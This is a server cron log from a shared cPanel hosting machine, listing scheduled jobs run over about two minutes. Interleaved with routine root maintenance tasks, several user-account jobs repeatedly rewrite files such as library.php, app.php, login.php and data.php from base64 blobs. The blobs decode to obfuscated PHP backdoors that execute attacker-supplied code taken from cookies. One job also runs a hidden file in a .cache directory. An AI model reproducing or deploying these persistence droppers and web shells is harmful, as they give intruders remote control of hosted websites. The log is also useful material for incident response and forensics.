Mar  2 12:21:01 medusa CROND[941]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:21:01 medusa CROND[944]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 12:22:01 medusa CROND[20186]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:22:01 medusa CROND[20187]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 12:22:01 medusa CROND[20188]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 12:22:01 medusa CROND[20189]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 12:22:01 medusa CROND[20191]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 12:22:01 medusa CROND[20193]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 12:22:01 medusa CROND[20196]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 12:22:01 medusa CROND[20207]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:22:01 medusa CROND[20208]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 12:22:01 medusa CROND[20211]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 12:22:01 medusa CROND[20213]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 12:22:01 medusa CROND[20214]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 12:22:01 medusa CROND[20215]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:22:01 medusa CROND[20204]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:23:01 medusa CROND[7994]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 12:23:01 medusa CROND[8174]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 12:23:02 medusa CROND[8215]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 12:23:02 medusa CROND[8216]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:23:02 medusa CROND[8217]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:23:02 medusa CROND[8220]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 12:23:02 medusa CROND[8222]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 12:23:02 medusa CROND[8223]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:23:02 medusa CROND[8225]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:23:02 medusa CROND[8227]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 12:23:02 medusa CROND[8236]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
